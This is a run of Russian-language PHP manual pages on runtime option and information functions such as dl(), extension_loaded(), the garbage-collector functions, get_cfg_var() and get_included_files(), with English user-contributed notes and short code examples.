Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Если механизм загрузки модулей недоступен или отключён (значение off настройки enable_dl в php.ini), будет выдана ошибка E_ERROR и выполнение прекращается. Если dl() не сможет загрузить заданную библиотеку, то в дополнение к false будет выдано сообщение E_WARNING.

Примеры

Пример #1 Примеры использования dl()

<?php
// Пример загрузки модуля, основываясь на ОС
if (!extension_loaded('sqlite')) {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
dl('php_sqlite.dll');
} else {
dl('sqlite.so');
}
}

// Или на константе PHP_SHLIB_SUFFIX
if (!extension_loaded('sqlite')) {
$prefix = (PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '';
dl($prefix . 'sqlite.' . PHP_SHLIB_SUFFIX);
}
?>

Примечания

Замечание:

dl() чувствительна к регистру на Unix-платформах.

Смотрите также

  • Директивы загрузки модулей
  • extension_loaded() - Определяет, загружен ли модуль

User Contributed Notes

anrdaemon at freemail dot ru 29-Sep-2016 12:17
Like with eval(), the only correct way to use dl() is to not use it.
Test if a function(s) you intend to use are available.
If not, complain to the user or implement a workaround.
Not to mention dl() issues in a multithreading environment.
shaunspiller at spammenot-gmail dot com 29-Jan-2009 12:34
dl is awkward because the filename format is OS-dependent and because it can complain if the extension is already loaded. This wrapper function fixes that:

<?php

function load_lib($n, $f = null) {
    return extension_loaded($n) or dl(((PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '') . ($f ? $f : $n) . '.' . PHP_SHLIB_SUFFIX);
}

?>

Examples:

<?php

// ensure we have SSL and MySQL support
load_lib('openssl');
load_lib('mysql');

// a rare few extensions have a different filename to their extension name, such as the image (gd) library, so we specify them like this:
load_lib('gd', 'gd2');

?>
mag_2000 at front dot ru 06-Dec-2005 11:13
<?php

function dl_local( $extensionFile ) {
   //make sure that we are ABLE to load libraries
   if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
   }

     //check to make sure the file exists
   if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
   }

   //check the file permissions
   if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
   }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
   if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
   }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

   if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
   }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
       if( $i != $subDirs ) {
         $backDirStr .= "/";
       }
   }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

   //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
   }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>
endofyourself at yahoo dot com 18-Oct-2003 04:12
If you need to load an extension from the CURRENT local directory because you do not have privelages to place the extension in your servers PHP extensions directory, this function i wrote may be of use to you

<?php
/*
    Function: dl_local()
    Reference: http://us2.php.net/manual/en/function.dl.php
    Author: Brendon Crawford <endofyourself |AT| yahoo>
    Usage: dl_local( "mylib.so" );
    Returns: Extension Name (NOT the extension filename however)
    NOTE:
        This function can be used when you need to load a PHP extension (module,shared object,etc..),
        but you do not have sufficient privelages to place the extension in the proper directory where it can be loaded. This function
        will load the extension from the CURRENT WORKING DIRECTORY only.
        If you need to see which functions are available within a certain extension,
        use "get_extension_funcs()". Documentation for this can be found at
        "http://us2.php.net/manual/en/function.get-extension-funcs.php".
*/

function dl_local( $extensionFile ) {
    //make sure that we are ABLE to load libraries
    if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
    }

     //check to make sure the file exists
    if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
    }

    //check the file permissions
    if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
    }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
    if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
    }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

    if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
    }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
        if( $i != $subDirs ) {
         $backDirStr .= "/";
        }
    }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

    //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
    }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>


Определяет, загружен ли модуль

  • « dl
  • gc_collect_cycles »
  • PHP Manual
  • Опции PHP/информационные функции
  • Определяет, загружен ли модуль

extension_loaded

(PHP 4, PHP 5, PHP 7, PHP 8)

extension_loaded — Определяет, загружен ли модуль

Описание

extension_loaded(string $extension): bool

Определяет, загружен ли указанный модуль.

Список параметров

extension

Имя модуля. Этот параметр регистронезависимый.

Чтобы посмотреть все имена модулей, воспользуйтесь функцией phpinfo(). Если вы работаете с CGI- или CLI-версией PHP, используйте параметр -m для отображения списка доступных модулей:

$ php -m
[PHP Modules]
xml
tokenizer
standard
sockets
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

Возвращаемые значения

Возвращает true, если модуль с заданным именем extension загружен или false в противном случае.

Примеры

Пример #1 Пример использования extension_loaded()

<?php
if (!extension_loaded('gd')) {
if (!dl('gd.so')) {
exit;
}
}
?>

Смотрите также

  • get_loaded_extensions() - Возвращает массив имён всех скомпилированных и загруженных модулей
  • get_extension_funcs() - Возвращает массив имён функций модуля
  • phpinfo() - Выводит информацию о текущей конфигурации PHP
  • dl() - Загружает модуль PHP во время выполнения
  • function_exists() - Возвращает true, если указанная функция определена

User Contributed Notes

There are no user contributed notes for this page.


Принудительный запуск сборщика мусора

  • « extension_loaded
  • gc_disable »
  • PHP Manual
  • Опции PHP/информационные функции
  • Принудительный запуск сборщика мусора

gc_collect_cycles

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_collect_cycles — Принудительный запуск сборщика мусора

Описание

gc_collect_cycles(): int

Явным образом запускает механизм поиска циклических ссылок.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает число найденных ссылок.

Смотрите также

  • Сборка мусора

User Contributed Notes

Mason 07-Sep-2011 04:22
(Since this function wasn't documented as of the date I left this note...)

If you came here looking for documentation, allow me to point you instead to a section in the user manual about garbage collection that includes a bit at the end about when you would use this feature and what it will actually do: http://php.net/manual/en/features.gc.collecting-cycles.php

Hope it helps!


Отключает сборщик циклических ссылок

  • « gc_collect_cycles
  • gc_enable »
  • PHP Manual
  • Опции PHP/информационные функции
  • Отключает сборщик циклических ссылок

gc_disable

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_disable — Отключает сборщик циклических ссылок

Описание

gc_disable(): void

Отключает сборщик циклических ссылок, путём установки значения zend.enable_gc в 0.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Сборка мусора

User Contributed Notes

Lev Kitsis 02-Dec-2014 05:55
Can be very useful for big projects, when you create a lot of objects that should stay in memory. So GC can't clean them up and just wasting CPU time.

Issue in composer:
https://github.com/composer/composer/pull/3482#issuecomment-65199153

Solution and people replies:
https://github.com/composer/composer/commit/ac676f47f7bbc619678a29deae097b6b0710b799


Включает сборщик циклических ссылок

  • « gc_disable
  • gc_enabled »
  • PHP Manual
  • Опции PHP/информационные функции
  • Включает сборщик циклических ссылок

gc_enable

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_enable — Включает сборщик циклических ссылок

Описание

gc_enable(): void

Включает сборщик циклических ссылок, устанавливая zend.enable_gc в 1.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Сборка мусора

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее состояние сборщика циклических ссылок

  • « gc_enable
  • gc_mem_caches »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает текущее состояние сборщика циклических ссылок

gc_enabled

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_enabled — Возвращает текущее состояние сборщика циклических ссылок

Описание

gc_enabled(): bool

Возвращает текущее состояние сборщика циклических ссылок.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если сборщик мусора включён или false в противном случае.

Примеры

Пример #1 Пример использования gc_enabled()

<?php
if(gc_enabled()) gc_collect_cycles();
?>

Смотрите также

  • Сборка мусора

User Contributed Notes

Anonymous 02-Jul-2009 11:48
If I understand correctly, the php.ini parameter zend.enable_gc (see http://www.php.net/manual/en/info.configuration.php) determines whether garbage collection is enabled:

<?php

var_dump(gc_enabled());
ini_set('zend.enable_gc', 0);
var_dump(gc_enabled());

?>

In PHP 5.3.0 this prints:

bool(true)
bool(false)

Oh, and of course gc_enable() and gc_disable() turn on or off the collection of garbage.


Освобождает память, используемую менеджером памяти Zend Engine

  • « gc_enabled
  • gc_status »
  • PHP Manual
  • Опции PHP/информационные функции
  • Освобождает память, используемую менеджером памяти Zend Engine

gc_mem_caches

(PHP 7, PHP 8)

gc_mem_caches — Освобождает память, используемую менеджером памяти Zend Engine

Описание

gc_mem_caches(): int

Освобождает память, используемую менеджером памяти Zend Engine.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество освобождённых байт.

Смотрите также

  • Сборка мусора

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о текущем статусе сборщика мусора

  • « gc_mem_caches
  • get_cfg_var »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает информацию о текущем статусе сборщика мусора

gc_status

(PHP 7 >= 7.3.0, PHP 8)

gc_status — Возвращает информацию о текущем статусе сборщика мусора

Описание

gc_status(): array

Возвращает информацию о текущем статусе сборщика мусора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив со следующими элементами:

  • "runs"
  • "collected"
  • "threshold"
  • "roots"

Примеры

Пример #1 Использование gc_status()

<?php

// создадим дерево объектов, для которых понадобится собирать мусор
$a = new stdClass();
$a->b = [];
for ($i = 0; $i < 100000; $i++) {
$b = new stdClass();
$b->a = $a;
$a->b[] = $b;
}
unset($a);
unset($b);
gc_collect_cycles();

var_dump(gc_status());

Результатом выполнения данного примера будет что-то подобное:

array(4) {
  ["runs"]=>
  int(5)
  ["collected"]=>
  int(100002)
  ["threshold"]=>
  int(50001)
  ["roots"]=>
  int(0)
}

Смотрите также

  • Сбор мусора

User Contributed Notes

There are no user contributed notes for this page.


Извлекает значение настройки конфигурации PHP

  • « gc_status
  • get_current_user »
  • PHP Manual
  • Опции PHP/информационные функции
  • Извлекает значение настройки конфигурации PHP

get_cfg_var

(PHP 4, PHP 5, PHP 7, PHP 8)

get_cfg_var — Извлекает значение настройки конфигурации PHP

Описание

get_cfg_var(string $option): string|array|false

Извлекает значение настройки конфигурации PHP option.

Функция не вернёт никакой информации, заданной при сборке PHP или указанной в конфигурационном файле Apache.

Чтобы проверить, что система использует файл конфигурации, попробуйте получить значение настройки конфигурации cfg_file_path. Если эта настройка доступна, значит используется файл конфигурации.

Список параметров

option

Имя настройки конфигурации.

Возвращаемые значения

Возвращает текущее значение настройки конфигурации PHP option или false в случае возникновения ошибки.

Смотрите также

  • ini_get() - Получает значение настройки конфигурации
  • ini_get_all() - Получает все настройки конфигурации

User Contributed Notes

sinus at sinpi dot net 27-Jan-2020 02:54
Boolean-like values are evaluated as follows: "true", "on", "yes" evaluate to "1" (string 1), while "false", "off", "no" evaluate to "" (empty string).
tbrix13 at uzitech dot com 26-Jun-2014 08:39
keep in mind get_cfg_var() returns a string(1) '1' for the value: On

<?php
//in php.ini
//A = On

$A1 = get_cfg_var("A") === "On";
$A2 = get_cfg_var("A") === 1;
$A3 = get_cfg_var("A") === "1";

//$A1 is false
//$A2 is false
//$A3 is true
?>
techno dot rahul1988 at gmail dot com 08-May-2014 07:38
The difference between ini_get() and get_cfg_var() is as follows:
@) ini_get(): returns the current value in .htaccess or as defined in PHP_INI_USER or PHP_INI_PERDIR
@) get_cfg_var: returns the values defined in the php.ini
gabriel b 25-Apr-2013 06:22
settings with the value of 'yes' will be returned as '1'.

<?php
//#my ini file
//A = 1
//B = any-thing
//C = yes
//D = /some/path/file

get_cfg_var('A') // returns '1'
get_cfg_var('B') // returns 'any-thing'
get_cfg_var('C') // returns '1', wait, why?
get_cfg_var('D') // returns '/some/path/file'
?>

I had my setting = yes and then checked it as ==="yes" for epic fail.
Stephen 10-Jan-2007 11:21
Regarding the statement by the earlier poster that:

"Unfortunately, you almost never want to know the original value in the config file. Instead, you want to know the value currently in effect."

I have found this useful for changing the error reporting levels for a few specific pages while testing. I turn on all error_reporting while testing, but for a few pages I want to turn off notices. So, I put this at the top of the page:

<?php
error_reporting(8183);
?>

and this at the bottom:

<?php
error_reporting(get_cfg_var('error_reporting'));
?>

to put it back to whatever default I had at the time.
surfchen at gmail dot com 04-Sep-2006 07:00
get_cfg_var returns the value from php.ini directly,while the ini_get returns   the runtime config value. I have tried it on PHP 5.1.6

[EDIT by danbrown AT php DOT net: The author of this note means that ini_get() will return values set by ini_set(), .htaccess, a local php.ini file, and other functions at runtime.  Conversely, get_cfg_var() will return strictly the server php.ini.]


Получает имя владельца текущего скрипта PHP

  • « get_cfg_var
  • get_defined_constants »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает имя владельца текущего скрипта PHP

get_current_user

(PHP 4, PHP 5, PHP 7, PHP 8)

get_current_user — Получает имя владельца текущего скрипта PHP

Описание

get_current_user(): string

Возвращает имя владельца текущего PHP-скрипта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя пользователя в виде строки.

Примеры

Пример #1 Пример использования get_current_user()

<?php
echo 'Текущий владелец скрипта: ' . get_current_user();
?>

Результатом выполнения данного примера будет что-то подобное:

Текущий владелец скрипта: SYSTEM

Смотрите также

  • getmyuid() - Получение UID владельца скрипта PHP
  • getmygid() - Получить GID владельца скрипта PHP
  • getmypid() - Получение ID процесса PHP
  • getmyinode() - Получает значение inode текущего скрипта
  • getlastmod() - Получает время последней модификации страницы

User Contributed Notes

chris at ocproducts dot com 03-Mar-2020 07:37
Further testing of behaviour on Windows vs Linux...

On Linux this function is indeed returning the owner of the script. If you want to know the username PHP is running as you can use POSIX functions (or shell_exec with 'whoami').

On Windows this function is returning the username PHP is running as. Both for IIS (IUSR) and Apache (SYSTEM - which comes from the fact Apache is a service on Windows).

The behaviour on Windows is actually useful given that POSIX functions aren't available. If you need to find the owner of the script on Windows perhaps the best way is to shell_exec to use dir /Q, and parse that.
Anonymous 15-Aug-2016 06:51
If you have userdir enabled, get_current_user() returns the username of the user hosting the public_html. For example, http://example.com/~bobevans/somescript.php will return bobevans when calling get_current_user().
login dot naitsirch at arcor dot de 02-Jul-2015 08:52
If you want to get the name of the user who executes the current PHP script, you can use

<?php
$username = getenv('USERNAME') ?: getenv('USER');
echo $username; // e.g. root or www-data
?>
nick at little-apps dot org 21-Aug-2013 05:06
Since this only returns the file owner and not the actual user running the script, an alternative in Linux is:

<?php
$current_user = trim(shell_exec('whoami'));
?>
south dot bucks at gmail dot com 29-Aug-2012 02:01
On Centos, the Red Hat linux clone, this instruction gives the file's OWNER (the first parameter in instruction 'chown').  It does not reveal the file's GROUP.

get_current_user()  does NOT reveal the current process' user's identity.

See:  posix_getuid() - Return the real user ID of the current process
s dot bond1 at lse dot ac dot uk 10-May-2007 05:17
The information returned by get_current_user() seems to depend on the platform.

Using PHP 5.1.1 running as CGI with IIS 5.0 on Windows NT, get_current_user() returns the owner of the process running the script, *not* the owner of the script itself.

It's easy to test - create a file containing:

<?php
    echo get_current_user();
?>

Then access it through the browser. I get: IUSR_MACHINE, the Internet Guest Account on Windows, which is certainly not the owner of the script.
justin samuel 08-Oct-2005 11:45
to get the username of the process owner (rather than the file owner), you can use:

<?php
$processUser = posix_getpwuid(posix_geteuid());
print $processUser['name'];
?>


Возвращает ассоциативный массив с именами всех констант и их значений

  • « get_current_user
  • get_extension_funcs »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает ассоциативный массив с именами всех констант и их значений

get_defined_constants

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

get_defined_constants — Возвращает ассоциативный массив с именами всех констант и их значений

Описание

get_defined_constants(bool $categorize = false): array

Возвращает ассоциативный массив с именами и значениями всех определённых в настоящее время констант. Массив будет включать в себя константы, определённые модулями, а также созданные функцией define().

Список параметров

categorize

Использование этого аргумента даёт возможность получить многомерный массив, в котором в первом измерении будут содержаться категории констант, а во втором соответствующие имена и значения.

<?php
define("MY_CONSTANT", 1);
print_r(get_defined_constants(true));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [Core] => Array
        (
            [E_ERROR] => 1
            [E_WARNING] => 2
            [E_PARSE] => 4
            [E_NOTICE] => 8
            [E_CORE_ERROR] => 16
            [E_CORE_WARNING] => 32
            [E_COMPILE_ERROR] => 64
            [E_COMPILE_WARNING] => 128
            [E_USER_ERROR] => 256
            [E_USER_WARNING] => 512
            [E_USER_NOTICE] => 1024
            [E_ALL] => 2047
            [TRUE] => 1
        )

    [pcre] => Array
        (
            [PREG_PATTERN_ORDER] => 1
            [PREG_SET_ORDER] => 2
            [PREG_OFFSET_CAPTURE] => 256
            [PREG_SPLIT_NO_EMPTY] => 1
            [PREG_SPLIT_DELIM_CAPTURE] => 2
            [PREG_SPLIT_OFFSET_CAPTURE] => 4
            [PREG_GREP_INVERT] => 1
        )

    [user] => Array
        (
            [MY_CONSTANT] => 1
        )

)

Возвращаемые значения

Возвращает массив вида "имя константы" => "значение константы", с возможностью сгруппировать его по имени модуля, зарегистрировавшего константу.

Примеры

Пример #1 Пример использования get_defined_constants()

<?php
print_r(get_defined_constants());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [E_ERROR] => 1
    [E_WARNING] => 2
    [E_PARSE] => 4
    [E_NOTICE] => 8
    [E_CORE_ERROR] => 16
    [E_CORE_WARNING] => 32
    [E_COMPILE_ERROR] => 64
    [E_COMPILE_WARNING] => 128
    [E_USER_ERROR] => 256
    [E_USER_WARNING] => 512
    [E_USER_NOTICE] => 1024
    [E_ALL] => 2047
    [TRUE] => 1
)

Смотрите также

  • defined() - Проверяет существование указанной именованной константы
  • constant() - Возвращает значение константы
  • get_loaded_extensions() - Возвращает массив имён всех скомпилированных и загруженных модулей
  • get_defined_functions() - Возвращает массив всех определённых функций
  • get_defined_vars() - Возвращает массив всех определённых переменных

User Contributed Notes

S-Tian 18-Jan-2022 10:31
If you want to create a static method that you can copy and paste into each class you have constants created, you can use:

<php
public static function get_class_constants(): array
{
    $reflect = new ReflectionClass(self::class);

    return $reflect->getConstants();
}
?>
R4FC0R3 16-Feb-2018 06:14
If you want to access directly on one category, just use:

<?php

print_r(get_defined_constants(true)['Core']);

?>

you can replace 'Core' by the category you wish (e.g. user):

<?php

print_r(get_defined_constants(true)['user']);

?>

Warning: only use this on development side
Bob 07-Aug-2008 09:50
Add this method to your class definition if you want an array of class constants (get_defined_constants doesn't work with class constants as Peter P said above):

<?php
public function get_class_constants()
{
    $reflect = new ReflectionClass(get_class($this));
    return $reflect->getConstants());
}
?>

You could also override stdObject with it so that all your classes  have this method
05-Jan-2006 11:29
If you want to filter through and return only the prefix for your constants (i.e. you have constants with a naming scheme), then you can use this quick little function. It comes in handy for debugging.

<?php
function returnConstants ($prefix) {
    foreach (get_defined_constants() as $key=>$value)
        if (substr($key,0,strlen($prefix))==$prefix)  $dump[$key] = $value;
    if(empty($dump)) { return "Error: No Constants found with prefix '".$prefix."'"; }
    else { return $dump; }
}
?>

Example:

<?php
define("SITENAME_OPTION_ONE",true);
define("SITENAME_OPTION_TWO",false);
define("SITENAME_URL","foo");

print_r(returnConstants("SITENAME_OPTION"));
?>

Will return:

Array
(
    [SITENAME_OPTIONONE] => 1
    [SITENAME_OPTIONTWO] =>
)
me at gogogadgetscott dot info 18-Jun-2005 11:14
<?php
/**
 * Convert constant value into string name.
 *
 * @param  mixed  Constant value.
 * @return string Constant name.
 * @access public
 */
function sch_get_consant($value)
{
    $constants = get_defined_constants();
    $name = array_search($value, $constants, TRUE);
    return $name;
}
?>


Возвращает массив имён функций модуля

  • « get_defined_constants
  • get_include_path »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает массив имён функций модуля

get_extension_funcs

(PHP 4, PHP 5, PHP 7, PHP 8)

get_extension_funcs — Возвращает массив имён функций модуля

Описание

get_extension_funcs(string $extension): array|false

Функция возвращает имена всех функций, определённых в модуле с именем extension.

Список параметров

extension

Имя модуля.

Замечание:

Значение этого аргумента должно задаваться в нижнем регистре.

Возвращаемые значения

Возвращает массив имён функций или false, если extension не является допустимым модулем.

Примеры

Пример #1 Выводит функции XML

<?php
print_r(get_extension_funcs("xml"));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => xml_parser_create
    [1] => xml_parser_create_ns
    [2] => xml_set_object
    [3] => xml_set_element_handler
    [4] => xml_set_character_data_handler
    [5] => xml_set_processing_instruction_handler
    [6] => xml_set_default_handler
    [7] => xml_set_unparsed_entity_decl_handler
    [8] => xml_set_notation_decl_handler
    [9] => xml_set_external_entity_ref_handler
    [10] => xml_set_start_namespace_decl_handler
    [11] => xml_set_end_namespace_decl_handler
    [12] => xml_parse
    [13] => xml_parse_into_struct
    [14] => xml_get_error_code
    [15] => xml_error_string
    [16] => xml_get_current_line_number
    [17] => xml_get_current_column_number
    [18] => xml_get_current_byte_index
    [19] => xml_parser_free
    [20] => xml_parser_set_option
    [21] => xml_parser_get_option
)

Смотрите также

  • get_loaded_extensions() - Возвращает массив имён всех скомпилированных и загруженных модулей
  • ReflectionExtension::getFunctions() - Получение функций модуля

User Contributed Notes

JM 05-Jun-2006 07:40
FALSE is returned if there are no functions in that extension.  For example, <?php get_extension_funcs("xmlreader"); ?> returns FALSE because that extension defines the XMLReader class but not functions.


Получение текущего значения настройки конфигурации include_path

  • « get_extension_funcs
  • get_included_files »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получение текущего значения настройки конфигурации include_path

get_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

get_include_path — Получение текущего значения настройки конфигурации include_path

Описание

get_include_path(): string|false

Получает значение настройки конфигурации include_path.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает путь к файлу в виде строки или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования get_include_path()

<?php
echo get_include_path();

// или используя ini_get()
echo ini_get('include_path');
?>

Смотрите также

  • ini_get() - Получает значение настройки конфигурации
  • restore_include_path() - Восстанавливает изначальное значение настройки конфигурации include_path
  • set_include_path() - Устанавливает значение настройки конфигурации include_path
  • include - include

User Contributed Notes

gtisza at gmail dot com 06-Feb-2013 04:27
If you are trying to find a file on your include path, there is a better way: http://php.net/manual/en/function.stream-resolve-include-path.php


Возвращает массив имён включённых в скрипт файлов

  • « get_include_path
  • get_loaded_extensions »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает массив имён включённых в скрипт файлов

get_included_files

(PHP 4, PHP 5, PHP 7, PHP 8)

get_included_files — Возвращает массив имён включённых в скрипт файлов

Описание

get_included_files(): array

Получает имена всех файлов, которые были включены в скрипт с использованием include, include_once, require или require_once.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий имена всех файлов.

Скрипт, который был загружен изначально, рассматривается как "включённый файл", поэтому он также попадёт в список файлов включённых функцией include или другими.

Файлы, добавляемые в скрипт неоднократно, попадут в массив только в одном экземпляре.

Примеры

Пример #1 Пример использования get_included_files()

<?php
// Этот скрипт расположен в файле abc.php

include 'test1.php';
include_once 'test2.php';
require 'test3.php';
require_once 'test4.php';

$included_files = get_included_files();

foreach ($included_files as $filename) {
echo "$filename\n";
}

?>

Результат выполнения данного примера:

/path/to/abc.php
/path/to/test1.php
/path/to/test2.php
/path/to/test3.php
/path/to/test4.php

Смотрите также

  • include - include
  • include_once - include_once
  • require - require
  • require_once - require_once
  • get_required_files() - Псевдоним get_included_files

User Contributed Notes

Aurelien Marchand 11-Feb-2022 04:23
This is a great way to emulate Python's '__name__ = "__main__"'

<?php
  if(get_included_files()[0] === __FILE__) doStuff();
?>
D 06-Jan-2020 12:15
It's perhaps not clear from the existing docs that the returned list contains nested include files as well.

That is, if A.php includes B.php, and B.php includes C.php, the result returned when calling get_included_files() from inside A.php WILL contain 'C.php'.
donikuntoro at integraasp dot com 29-Aug-2011 03:32
This function aims to perform filtering of files that have been included :

<?php
function setIncludeFiles($arrayInc = array()){
    $incFiles = get_included_files();
    if((count($arrayInc)>0)&&(count($incFiles)>0)){
        $aInt = array_intersect($arrayInc,$incFiles);
        if(count($aInt)>0){
            return false;
       }elseif(count($aInt)<1) {
        foreach($arrayInc as $inc){
            if(is_file($inc))
                include($inc);
            else{
                return false;
            }
        }
       }
    }else{
        return false;
    }
}
?>

Usage :

<?php
$toBeInclude = array('/data/your_include_files_1.php',
'/data/your_include_files_2.php',
'/data/your_include_files_3.php',
);
setIncludeFiles($toBeInclude);
?>

Return false if something goes wrong.
yarco dot w at gmail dot com 03-Jul-2007 08:27
If you have a MAIN php script which you don't want to be included by other scripts, you could use this function. For example:

main.php:
<?php
function blockit()
{
  $buf = get_included_files();
  return $buf[0] != __FILE__;
}

blockit() and exit("You can not include a MAIN file as a part of your script.");

print "OK";
?>

So other script couldn't include main.php to modify its internal global vars.
indigohaze at gmail dot com 28-Aug-2006 10:30
Something that's not noted in the docs, if a file is included remotely and you do a get_included_files() in the include itself it will *not* return the document that included it.

ie:
test2.php (server 192.168.1.14):
<?php

include("http://192.168.1.11/test/test3.php");

?>

test3.php (server 192.168.1.11):

<?php

$files = get_included_files();

print_r($files);
?>

returns:

Array ( [0] => /var/www/localhost/htdocs/test/test3.php )

Which means you can use get_included_files() to help intercept and prevent XSS-style attacks against your code.
RPaseur at NationalPres dot org 08-Mar-2006 08:04
As is often the case, YMMV.  I tried the __FILE__ and SCRIPT_FILENAME comparison and found this:

SCRIPT_FILENAME: /var/www/cgi-bin/php441
__FILE__: /raid/home/natpresch/natpresch/RAY_included.php

As an alternative:

count(get_included_files());

Gives one when the script is standalone and always more than one when the script is included.
keystorm :at: gmail dotcom 07-Sep-2004 02:08
As of PHP5, this function seems to return an array with the first index being the script all subsequent scripts are included to.
If index.php includes b.php and c.php and calls get_included_files(), the returned array looks as follows:

index.php
a.php
b.php

while in PHP<5 the array would be:

a.php
b.php

If you want to know which is the script that is including current script you can use $_SERVER['SCRIPT_FILENAME'] or any other similar server global.

If you also want to ensure current script is being included and not run independently you should evaluate following expression:

__FILE__ != $_SERVER['SCRIPT_FILENAME']

If this expression returns TRUE, current script is being included or required.


Возвращает массив имён всех скомпилированных и загруженных модулей

  • « get_included_files
  • get_magic_quotes_gpc »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает массив имён всех скомпилированных и загруженных модулей

get_loaded_extensions

(PHP 4, PHP 5, PHP 7, PHP 8)

get_loaded_extensions — Возвращает массив имён всех скомпилированных и загруженных модулей

Описание

get_loaded_extensions(bool $zend_extensions = false): array

Функция возвращает массив имён всех скомпилированных и загруженных в интерпретаторе PHP модулей.

Список параметров

zend_extensions

Возвращать только модули Zend или обычные модули, такие как mysqli. По умолчанию false (возврат обычных модулей).

Возвращаемые значения

Возвращает индексированный массив имён всех модулей.

Примеры

Пример #1 Пример использования get_loaded_extensions()

<?php
print_r(get_loaded_extensions());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Core
    [1] => date
    [2] => libxml
    [3] => pcre
    [4] => sqlite3
    [5] => zlib
    [6] => ctype
    [7] => dom
    [8] => fileinfo
    [9] => filter
    [10] => hash
    [11] => json
    [12] => mbstring
    [13] => SPL
    [14] => PDO
    [15] => session
    [16] => posix
    [17] => Reflection
    [18] => standard
    [19] => SimpleXML
    [20] => pdo_sqlite
    [21] => Phar
    [22] => tokenizer
    [23] => xml
    [24] => xmlreader
    [25] => xmlwriter
    [26] => gmp
    [27] => iconv
    [28] => intl
    [29] => bcmath
    [30] => sodium
    [31] => Zend OPcache
)

Смотрите также

  • get_extension_funcs() - Возвращает массив имён функций модуля
  • extension_loaded() - Определяет, загружен ли модуль
  • dl() - Загружает модуль PHP во время выполнения
  • phpinfo() - Выводит информацию о текущей конфигурации PHP

User Contributed Notes

There are no user contributed notes for this page.


Получение текущего значения настройки конфигурации magic_quotes_gpc

  • « get_loaded_extensions
  • get_magic_quotes_runtime »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получение текущего значения настройки конфигурации magic_quotes_gpc

get_magic_quotes_gpc

(PHP 4, PHP 5, PHP 7)

